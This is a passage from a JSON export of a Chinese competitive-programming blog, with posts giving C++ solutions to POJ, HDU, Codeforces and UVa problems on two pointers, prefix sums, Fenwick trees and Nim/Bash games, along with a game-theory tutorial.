{ 54 res = res + c[i]; 55 } 56 return res; 57} 58 59void update2( int y,int delta) 60{ 61 for ( int i = y ; i \u003c= m ; i = i + lowbit(i)) 62 { 63 d[i] = d[i] + delta; 64 } 65} 66 67LL sum2( int y) 68{ 69 LL res = 0 ; 70 for ( int i = y ; i \u003e= 1 ; i = i - lowbit(i)) 71 { 72 res = res + d[i]; 73 } 74 return res; 75 76} 77int main() 78{ 79 #ifndef ONLINE_JUDGE 80 freopen(\"in.txt\",\"r\",stdin); 81 #endif 82 int T; 83 scanf(\"%d\",\u0026T); 84 while (T--) 85 { 86 ms(c,0); 87 ms(d,0); 88 memset(vx,false,sizeo","date":"2015-09-26","externalUrl":null,"permalink":"/2015/09/hdu5480/","section":"Posts","summary":"比较水． 唯一一点需要注意的是… 可能有重复元素…","tags":["前缀和","树状数组"],"title":"hdu 5480|| bestcoder 　　＃５７　div 2　Conturbatio（前缀和｜｜树状数组）","type":"post"},{"categories":["ACM"],"content":"B. Kefa and Company time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Kefa wants to celebrate his first big salary by going to restaurant. However, he needs company. Kefa has n friends, each friend will agree to go to the restaurant if Kefa asks. Each friend is characterized by the amount of money he has and the friendship factor in respect to Kefa. The parrot doesn’t want any friend to feel poor compared to somebody else in the company (Kefa doesn’t count). A friend feels poor if in the company there is someone who has at least d units of money more than he does. Also, Kefa wants the total friendship factor of the members of the company to be maximum. Help him invite an optimal company! Input The first line of the input contains two space-separated integers, n and d (1 ≤ n ≤ 105, ) — the number of Kefa’s friends and the minimum difference between the amount of money in order to feel poor, respectively. Next n lines contain the descriptions of Kefa’s friends, the (i + 1)-th line contains the description of the i-th friend of type m__i, s__i(0 ≤ m__i, s__i ≤ 109) — the amount of money and the friendship factor, respectively. Output Print the maximum total friendship factir that can be reached. Sample test(s) input 4 5 75 5 0 100 150 20 75 1 output 100 input 5 100 0 7 11 32 99 10 46 8 87 54 output 111 Note In the first sample test the most profitable strategy is to form a company from only the second friend. At all other variants the total degree of friendship will be worse. In the second sample test we can take all the friends. 尺取直接搞… 然后因为没开longlong wa了一发… 因为看错条件,money差值等于d也会被鄙视．．．所以不能取等号… 都是傻逼错误…药丸，药丸啊… 1/************************************************************************* 2 \u003e File Name: code/cf/#321/B.cpp","date":"2015-09-25","externalUrl":null,"permalink":"/2015/09/codeforces321div2b-kefaandcompany/","section":"Posts","summary":"B. Kefa and Company time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Kefa wants to celebrate his first big salary by going to restaurant. However, he needs company.","tags":["尺取法"],"title":"codeforces #321 div 2 B. Kefa and Company(尺取法)","type":"post"},{"categories":["ACM"],"content":"一开始迷之wa… 先找出素数下标的上界就可以A… 然后纠结了２０分钟．．． 然后发现是预处理的素数少了一个素数．． 我预处理是处理到＜１０００５的素数．．． 最大数１００００,而超过１００００的第一个素数是１０００７ 这样判断终止条件就会死循环… sad 1/************************************************************************* 2 \u003e File Name: code/poj/2739.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月25日 星期五 01时32分43秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#include\u003ccctype\u003e 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define ms(a,x) memset(a,x,sizeof(a)) 24#define lr dying111qqz 25using namespace std; 26#define For(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef double DB; 29const int inf = 0x3f3f3f3f; 30int pri[10005]; 31int n ; 32int mx; 33bool prime ( int n) 34{ 35 if (n\u003c=3) return true; 36 for ( int i = 2 ; i*i\u003c= n ; i++) 37 { 38 if (n%i==0) return false; 39 } 40 return true; 41} 42void solve() 43{ 44 int head = 1; 45 int tail = 1; 46 int sum = 0 ; 47 int ans = 0 ; 48 while (pri[tail]\u003c=n) 49 { 50 cout\u003c\u003c\"asd\"\u003c\u003cendl; 51 sum = sum + pri[tail]; 52 if (sum\u003e=n) 53 { 54 while (sum\u003en) 55 { 56 sum = sum - pri[head]; 57 head++; 58 } 59 if (sum==n) 60 { 61 ans++; 62 } 63 } 64 tail++; 65 } 66 printf(\"%d\\n\",ans); 67} 68int main() 69{ 70 #ifndef ONLINE_JUDGE 71 // freopen(\"in.txt\",\"r\",stdin); 72 #endif 73 int cnt = 0 ; 74 for ( int i = 2 ; i \u003c= 10005 ; i++) 75 { 76 if (prime(i)) 77 { 78 cnt++; 79 pri[cnt] = i ; 80// if (i\u003e10000) cout\u003c\u003ci\u003c\u003cendl; 81 } 82 } 83 while (scanf(\"%d\",\u0026n)!=EOF\u0026\u0026n) 84 { 85 solve(); 86 } 87 #ifndef ONLINE_JUDGE 88 fclose(stdin); 89 #endif 90 return ","date":"2015-09-25","externalUrl":null,"permalink":"/2015/09/poj2739/","section":"Posts","summary":"一开始迷之wa… 先找出素数下标的上界就可以A… 然后纠结了２０分钟．．． 然后发现是预处理的素数少了一个素数．． 我预处理是处理到＜１０００５的素数．．． 最大数１００００,而超过１００００的第一个素数是１０００７ 这样判断终止条件就会死循环… sad","tags":["尺取"],"title":"poj 2739  Sum of Consecutive Prime Numbers (尺取法)","type":"post"},{"categories":["ACM"],"content":"不多说，直接代码。 1/************************************************************************* 2 \u003e File Name: code/poj/2100.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月25日 星期五 00时42分49秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31LL n; 32LL maxn; 33vector\u003cLL\u003eans; 34 35 36void solve() 37{ 38 LL head = 1,tail = 1; 39 LL sum = 0 ; 40 41 while (tail\u003c=maxn) 42 { 43 sum = sum + tail*tail; 44 45 if (sum\u003e=n) 46 { 47 while (sum\u003en)//主要是while，因为可能要减掉多个才能小于n 48 { 49 sum -= head*head; 50 head++; 51 } 52 if (sum==n) 53 {//因为要先输出答案个数...所以必须存起来延迟输出... 54 ans.push_back(head); 55 ans.push_back(tail); 56 } 57 } 58 tail++; 59 } 60 LL sz = ans.size(); 61 printf(\"%lld\\n\",sz/2); 62 for (LL i = 0 ; i\u003cans.size() ; i = i +2) 63 { 64 printf(\"%lld\",ans[i+1]-ans[i]+1); 65 for ( LL j = ans[i] ; j \u003c=ans[i+1] ; j++) printf(\" %lld\",j); 66 printf(\"\\n\"); 67 } 68 69} 70int main() 71{ 72 #ifndef ONLINE_JUDGE 73 freopen(\"in.txt\",\"r\",stdin); 74 #endif 75 scanf(\"%lld\",\u0026n); 76 maxn = ceil(sqrt(n)); 77 solve(); 78 79 #ifndef ONLINE_JUDGE 80 fclose(stdin); 81 #endif 82 return 0; 83}","date":"2015-09-24","externalUrl":null,"permalink":"/2015/09/poj2100/","section":"Posts","summary":"不多说，直接代码。 1/************************************************************************* 2 \u003e File Name: code/poj/2100.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月25日 星期五 00时42分49秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31LL n; 32LL maxn; 33vector\u003cLL\u003eans; 34 35 36void solve() 37{ 38 LL head = 1,tail = 1; 39 LL sum = 0 ; 40 41 while (tail\u003c=maxn) 42 { 43 sum = sum + tail*tail; 44 45 if (sum\u003e=n) 46 { 47 while (sum\u003en)//主要是while，因为可能要减掉多个才能小于n 48 { 49 sum -= head*head; 50 head++; 51 } 52 if (sum==n) 53 {//因为要先输出答案个数...所以必须存起来延迟输出... 54 ans.push_back(head); 55 ans.push_back(tail); 56 } 57 } 58 tail++; 59 } 60 LL sz = ans.size(); 61 printf(\"%lld\\n\",sz/2); 62 for (LL i = 0 ; i\u003cans.size() ; i = i +2) 63 { 64 printf(\"%lld\",ans[i+1]-ans[i]+1); 65 for ( LL j = ans[i] ; j \u003c=ans[i+1] ; j++) printf(\" %lld\",j); 66 printf(\"\\n\"); 67 } 68 69} 70int main() 71{ 72 #ifndef ONLINE_JUDGE 73 freopen(\"in.txt\",\"r\",stdin); 74 #endif 75 scanf(\"%lld\",\u0026n); 76 maxn = ceil(sqrt(n)); 77 solve(); 78 79 #ifndef ONLINE_JUDGE 80 fclose(stdin); 81 #endif 82 return 0; 83}","tags":["尺取"],"title":"poj 2100 Graveyard Design (two pointers ，尺取法)","type":"post"},{"categories":["ACM"],"content":"题意　：给定一个长度为n的区间．然后给k次询问，每次一个数t,求一个区间[l,r]使得这个区间和的绝对值最接近t 没办法直接尺取. 先预处理出来前缀和 如果要找一对区间的和的绝对值最最近t 等价于找到两个数i和j,使得sum[i]-sum[j]的绝对值最接近t,且i\u003c\u003ej 那么对前缀和排序…然后尺取 因为答案要输出下标 所以之前先存一下下标． 然后对于i，j 所对应的区间为[min(pre[i].id,pre[j].id)+1,max(pre[i],id,pre[j].id)]; 1/************************************************************************* 2 \u003e File Name: code/poj/2566.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月24日 星期四 22时10分08秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int N=1E5+7; 31const int inf = 0x3f3f3f3f; 32int a[N]; 33int n ,k; 34struct Q 35{ 36 int id; 37 int sum; 38}pre[N]; 39 40bool cmp(Q a,Q b) 41{ 42 if (a.sum\u003cb.sum) return true; 43 if (a.sum==b.sum\u0026\u0026a.id\u003cb.id) return true; 44 return false; 45} 46 47void solve ( int t) 48{ 49 int ansl,ansr,ans; 50 int l = 0 ; 51 int r = 1; 52 int mi = inf; 53 while ( r\u003c= n ) 54 { 55 int tmp = pre[r].sum - pre[l].sum; 56 57 if (abs(tmp-t)\u003cmi) 58 { 59 mi = abs(tmp-t); 60 ansl = min(pre[l].id,pre[r].id)+1; 61 ansr = max(pre[l].id,pre[r].id); 62 ans = tmp; 63 } 64 if (tmp\u003ct) 65 { 66 r++; 67 } 68 else 69 if (tmp\u003et) 70 { 71 l++; 72 } 73 else break; 74 75 if (l==r) r++; 76 } 77 printf(\"%d %d %d\\n\",ans,ansl,ansr); 78} 79 80int main() 81{ 82 #ifndef ONLINE_JUDGE 83 freopen(\"in.txt\",\"r\",stdin); 84","date":"2015-09-24","externalUrl":null,"permalink":"/2015/09/poj2566/","section":"Posts","summary":"题意　：给定一个长度为n的区间．然后给k次询问，每次一个数t,求一个区间[l,r]使得这个区间和的绝对值最接近t","tags":["尺取法"],"title":"poj 2566 Bound Found (前缀和，尺取法（two pointer）)","type":"post"},{"categories":["ACM"],"content":"Jessica’s Reading Problem **Time Limit:** 1000MS **Memory Limit:** 65536K **Total Submissions:** 8787 **Accepted:** 2824 Description Jessica’s a very lovely girl wooed by lots of boys. Recently she has a problem. The final exam is coming, yet she has spent little time on it. If she wants to pass it, she has to master all ideas included in a very thick text book. The author of that text book, like other authors, is extremely fussy about the ideas, thus some ideas are covered more than once. Jessica think if she managed to read each idea at least once, she can pass the exam. She decides to read only one contiguous part of the book which contains all ideas covered by the entire book. And of course, the sub-book should be as thin as possible. A very hard-working boy had manually indexed for her each page of Jessica’s text-book with what idea each page is about and thus made a big progress for his courtship. Here you come in to save your skin: given the index, help Jessica decide which contiguous part she should read. For convenience, each idea has been coded with an ID, which is a non-negative integer. Input The first line of input is an integer P (1 ≤ P ≤ 1000000), which is the number of pages of Jessica’s text-book. The second line contains P non-negative integers describing what idea each page is about. The first integer is what the first page is about, the second integer is what the second page is about, and so on. You may assume all integers that appear can fit well in the signed 32-bit integer type. Output Output one line: the number of pages of the shortest contiguous part of the book which contains all ideals covered in the book. Sample Input 5 1 8 8 8 1 Sample Output 2 今天开始学算法系列 – 尺取法 2015-02-28 09:54:49 分类： C/C++ 转载一段讲解 我们先来介绍一下尺取法。尺取法，顾名思义，像尺子一样，一块一块的截取。是不是解释的有点让","date":"2015-09-24","externalUrl":null,"permalink":"/2015/09/poj3320jessicasreadingproblem/","section":"Posts","summary":"Jessica’s Reading Problem **Time Limit:** 1000MS **Memory Limit:** 65536K **Total Submissions:** 8787 **Accepted:** 2824 Description Jessica’s a very lovely girl wooed by lots of boys. Recently she has a problem. The final exam is coming, yet she has spent little time on it. If she wants to pass it, she has to master all ideas included in a very thick text book. The author of that text book, like other authors, is extremely fussy about the ideas, thus some ideas are covered more than once. Jessica think if she managed to read each idea at least once, she can pass the exam. She decides to read only one contiguous part of the book which contains all ideas covered by the entire book. And of course, the sub-book should be as thin as possible.","tags":["尺取法"],"title":"poj 3320 Jessica's Reading Problem (尺取法)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-09-24","externalUrl":null,"permalink":"/2015/09/%e8%bf%9f%e5%8f%96%e6%b3%95/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"迟取法","type":"post"},{"categories":["ACM"],"content":"由于顺序是可以改变的． 所以考虑是否可以映射．只要存在字母对应出现的次数都相同．那么就可以通过映射得到． 具体是开一个数组记录每个字母出现的次数… 然后sort 1/************************************************************************* 2 \u003e File Name: code/poj/2159.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月23日 星期三 19时04分34秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=30; 32string st1,st2; 33int len; 34int a[N],b[N]; 35 36 37bool cmp( int a,int b) 38{ 39 if (a\u003eb) return true; 40 return false; 41} 42int main() 43{ 44 #ifndef ONLINE_JUDGE 45 freopen(\"in.txt\",\"r\",stdin); 46 #endif 47 ms(a,0); 48 ms(b,0); 49 cin\u003e\u003est1\u003e\u003est2; 50 len = st1.length(); 51 // cout\u003c\u003cst1\u003c\u003cendl\u003c\u003cst2\u003c\u003cendl; 52 for ( int i = 0 ; i \u003c len ; i ++) 53 { 54 int tmp = st1[i]-'A'; 55 a[tmp]++; 56 tmp = st2[i]-'A'; 57 b[tmp]++; 58 } 59 60 sort(a,a+26,cmp); 61 sort(b,b+26,cmp); 62 // for ( int i = 0 ; i \u003c 26 ; i++) cout\u003c\u003c\"a[i]:\"\u003c\u003ca[i]\u003c\u003c\" b[i]\"\u003c\u003cb[i]\u003c\u003cendl; 63 64 bool flag = true; 65 for ( int i = 0 ; i \u003c 26 ; i++) 66 { 67 if (a[i]!=b[i]) 68 { 69 flag = false; 70 break; 71 } 72 } 73 if (flag) 74 { 75 puts(\"YES\"); 76 } 77 else 78 { 79 puts(\"NO\"); 80 } 81 82 83 #ifndef ONLINE_JUDGE 84 fclose(stdin); 85 #endif 86 return 0; 87}","date":"2015-09-23","externalUrl":null,"permalink":"/2015/09/poj2159/","section":"Posts","summary":"由于顺序是可以改变的． 所以考虑是否可以映射．只要存在字母对应出现的次数都相同．那么就可以通过映射得到． 具体是开一个数组记录每个字母出现的次数… 然后sort","tags":["水题"],"title":"poj 2159 Ancient Cipher(水)","type":"post"},{"categories":["ACM"],"content":"Rabbit and Grass # **Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 3058 Accepted Submission(s): 2261 ** Problem Description 大学时光是浪漫的，女生是浪漫的，圣诞更是浪漫的，但是Rabbit和Grass这两个大学女生在今年的圣诞节却表现得一点都不浪漫：不去逛商场，不去逛公园，不去和AC男约会，两个人竟然猫在寝食下棋…… 说是下棋，其实只是一个简单的小游戏而已，游戏的规则是这样的： 1、棋盘包含1*n个方格，方格从左到右分别编号为0，1，2，…，n-1； 2、m个棋子放在棋盘的方格上，方格可以为空，也可以放多于一个的棋子； 3、双方轮流走棋； 4、每一步可以选择任意一个棋子向左移动到任意的位置（可以多个棋子位于同一个方格），当然，任何棋子不能超出棋盘边界； 5、如果所有的棋子都位于最左边（即编号为0的位置），则游戏结束，并且规定最后走棋的一方为胜者。 对于本题，你不需要考虑n的大小（我们可以假设在初始状态，棋子总是位于棋盘的适当位置）。下面的示意图即为一个1*15的棋盘，共有6个棋子，其中，编号8的位置有两个棋子。 大家知道，虽然偶尔不够浪漫，但是Rabbit和Grass都是冰雪聪明的女生，如果每次都是Rabbit先走棋，请输出最后的结果。 Input 输入数据包含多组测试用例，每个测试用例占二行，首先一行包含一个整数m（0\u003c=m\u003c=1000），表示本测试用例的棋子数目，紧跟着的一行包含m个整数Ki(i=1…m; 0\u003c=Ki\u003c=1000)，分别表示m个棋子初始的位置，m=0则结束输入。 Output 如果Rabbit能赢的话，请输出“Rabbit Win!”，否则请输出“Grass Win!”，每个实例的输出占一行。 Sample Input 2 3 5 3 3 5 6 0 Sample Output Rabbit Win! Grass Win! Author lcy Source ACM Short Term Exam_2007/12/13 是一个略有变形的nim游戏模型 如果在i位置上有 k个棋子 我们可以看做有k堆数量为i的堆 可以向左移动1~i步 就可以看做每次从数量为i的堆中拿走数量１～i 这样就是nim游戏． 而nim游戏的结论是．．异或和为０必败． 1/************************************************************************* 2 \u003e File Name: code/hdu/1849.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月22日 星期二 20时37分46秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef ","date":"2015-09-22","externalUrl":null,"permalink":"/2015/09/hdu1849/","section":"Posts","summary":"Rabbit and Grass # **Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 3058 Accepted Submission(s): 2261 **","tags":["nim游戏","sg函数","博弈论"],"title":"hdu 1849Rabbit and Grass(一维nim游戏,sg函数)","type":"post"},{"categories":["ACM"],"content":"hdu 2149题目链接 题意＆思路：巴什博奕，点m是n点。。。然后往前画即可。。。 1/************************************************************************* 2 \u003e File Name: code/hdu/2149.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月22日 星期二 20时18分02秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31int n,m; 32int main() 33{ 34 #ifndef ONLINE_JUDGE 35 freopen(\"in.txt\",\"r\",stdin); 36 #endif 37 while (scanf(\"%d %d\",\u0026m,\u0026n)!=EOF) 38 { 39 if (m\u003cn+1) 40 { 41 printf(\"%d\",m); 42 for ( int i = m+1 ; i \u003c= n; i++) 43 printf(\" %d\",i); 44 printf(\"\\n\"); 45 continue; 46 } 47 int tmp = m%(n+1); 48 if (tmp\u003e0) 49 { 50 printf(\"%d\\n\",tmp); 51 } 52 else 53 { 54 puts(\"none\"); 55 } 56 57 } 58 59 #ifndef ONLINE_JUDGE 60 fclose(stdin); 61 #endif 62 return 0; 63}","date":"2015-09-22","externalUrl":null,"permalink":"/2015/09/hdu2149/","section":"Posts","summary":"hdu 2149题目链接 题意＆思路：巴什博奕，点m是n点。。。然后往前画即可。。。","tags":["博弈论","巴什博奕"],"title":"hdu 2149Public Sale(博弈论　巴什博奕)","type":"post"},{"categories":["ACM"],"content":"题目链接：hdu 2188题目链接 题意＆思路：巴什博奕。。画n点p点。。。 1/************************************************************************* 2 \u003e File Name: code/hdu/2188.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月22日 星期二 20时08分08秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31void solve() 32{ 33 int n,m; 34 scanf(\"%d %d\",\u0026n,\u0026m); 35 if (n%(m+1)!=0) 36 { 37 puts(\"Grass\"); 38 } 39 else 40 { 41 puts(\"Rabbit\"); 42 } 43} 44int main() 45{ 46 #ifndef ONLINE_JUDGE 47 freopen(\"in.txt\",\"r\",stdin); 48 #endif 49 int T; 50 cin\u003e\u003eT; 51 while (T--) 52 { 53 solve(); 54 } 55 #ifndef ONLINE_JUDGE 56 fclose(stdin); 57 #endif 58 return 0; 59}","date":"2015-09-22","externalUrl":null,"permalink":"/2015/09/hdu2188/","section":"Posts","summary":"题目链接：hdu 2188题目链接 题意＆思路：巴什博奕。。画n点p点。。。","tags":["博弈论","巴什博奕"],"title":"hdu 2188 悼念512汶川大地震遇难同胞——选拔志愿者 (巴什博奕)","type":"post"},{"categories":["ACM"],"content":"**序：**博弈是信息学和数学试题中常会出现的一种类型，算法灵活多变是其最大特点，而其中有一类试题更是完全无法用常见的博弈树来进行解答。 寻找必败态即为针对此类试题给出一种解题思路。 此类问题一般有如下特点： 1、博弈模型为两人轮流决策的非合作博弈。即两人轮流进行决策，并且两人都使用最优策略来获取胜利。 2、博弈是有限的。即无论两人怎样决策，都会在有限步后决出胜负。 3、公平博弈。即两人进行决策所遵循的规则相同。 理论铺垫： 1、定义P-position和N-position：其中P代表Previous，N代表Next。直观的说，上一次move的人有必胜策略的局面是P-position，也就是\"先手必败\"，现在轮到move的人有必胜策略的局面是N-position，也就是\"先手可保证必胜\"。 （1）.无法进行任何移动的局面（也就是terminal position）是P-position； （2）.可以移动到P-position的局面是N-position； （3）.所有移动都导致N-position的局面是P-position。 2、P/N状态有如下性质： （1）、若面临末状态者为获胜则末状态为胜态否则末状态为必败态。 （2）、一个局面是胜态的充要条件是该局面进行某种决策后会成为必败态。 （3）、一个局面是必败态的充要条件是该局面无论进行何种决策均会成为胜态 3、P点： 即必败点，某玩家位于此点，只要对方无失误，则必败； N点： 即必胜点，某玩家位于此点，只要自己无失误，则必胜。 4、取石子游戏算法实现 步骤1:将所有终结位置标记为必败点（P点）； 步骤2: 将所有一步操作能进入必败点（P点）的位置标记为必胜点（N点） 步骤3:如果从某个点开始的所有一步操作都只能进入必胜点（N点） ，则将该点标记为必败点（P点） ； 步骤4: 如果在步骤3未能找到新的必败（P点），则算法终止；否则，返回到步骤2 /* a.如果当前是P点，那么一步（向前）可以走到的都是N点 b.如果当前点未标明P/N属性，那么看看该点向后走是不是都只能到达N点，如果是，那么该点是P点。 c.如果该点是N点，倒无法确定什么。 如果没办法标一个点，那么异常结束。 */ 几种常见类型详解： 一、巴什博弈 1、问题模型：只有一堆n个物品，两个人轮流从这堆物品中取物，规定每次至少取一个，最多取m个，最后取光者得胜。 2、解决思路：当n=m+1时，由于一次最多只能取m个，所以无论先取者拿走多少个，后取者都能够一次拿走剩余的物品，后者取胜，所以当一方面对的局势是n%(m+1)=0时，其面临的是必败的局势。所以当n=（m+1)*r+s，（r为任意自然数，s≤m)时,如果先取者要拿走s个物品，如果后取者拿走x（≤m)个，那么先取者再拿走m+1-k个，结果剩下（m+1）（r-1）个，以后保持这样的取法，那么先取者肯定获胜。总之，要保持给对手留下（m+1）的倍数，就能最后获胜。 3、变形：条件不变，改为最后取光的人输。 结论：当（n-1）%（m+1）==0时后手胜利。 4、题目练习：HDOJ：2188 2149 1849 二、威佐夫博奕 1、问题模型：有两堆各若干个物品，两个人轮流从某一堆或同时从两堆中取同样多的物品，规定每次至少取一个，多者不限，最后取光者得胜。 2、解决思路：A：设（ai,bi）（ai ≤bi ,i=0，1，2，…,n)表示两堆物品的数量并称其为局势，如果甲面对（0，0），那么甲已经输了，这种局势我们称为奇异局势。前几个奇异局势是：（0，0）、（1，2）、（3，5）、（4，7）、（6，10）、（8，13）、（9，15）、（11，18）、（12，20）。任给一个局势（a，b），如下公式判断它是不是奇异局势： ak =[k（1+√5）/2]，bk= ak + k （k=0，1，2，…,n 方括号表示取整函数）。（证明见百度百科） B：详见 http://www.freopen.com/?p=10512） 3、满足上公式的局势性质： （1）任何自然数都包含在一个且仅有一个奇异局势中。 由于ak是未在前面出现过的最小自然数，所以有ak \u003e ak-1 ，而 bk= ak + k \u003e ak-1 + k-1 = bk-1 \u003e ak-1 。所以性质成立。 （2）任意操作都可将奇异局势","date":"2015-09-22","externalUrl":null,"permalink":"/2015/09/acm/","section":"Posts","summary":"**序：**博弈是信息学和数学试题中常会出现的一种类型，算法灵活多变是其最大特点，而其中有一类试题更是完全无法用常见的博弈树来进行解答。 寻找必败态即为针对此类试题给出一种解题思路。","tags":["算法竞赛"],"title":"acm博弈论","type":"post"},{"categories":["ACM"],"content":"给６个矩形的长和宽（或者宽和长），问这六个矩形能否组成一个长方体． 思路比较简单，不过需要注意的地方有点多． 首先由于长和宽的顺序为止，所以要处理一下（一开始只处理了后来读入的五组，没有处理单独读入的第一组，差评） 然后要判断能否分成两两相同的三组． 如果能，枚举８种可能的相等的情况． 1/************************************************************************* 2 \u003e File Name: code/uva/1587.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年09月22日 星期二 12时20分58秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#include\u003ccctype\u003e 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define ms(a,x) memset(a,x,sizeof(a)) 24#define lr dying111qqz 25using namespace std; 26#define For(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef double DB; 29const int inf = 0x3f3f3f3f; 30struct Q 31{ 32 int w,h; 33}a,b,c,q[10]; 34bool ok ( int 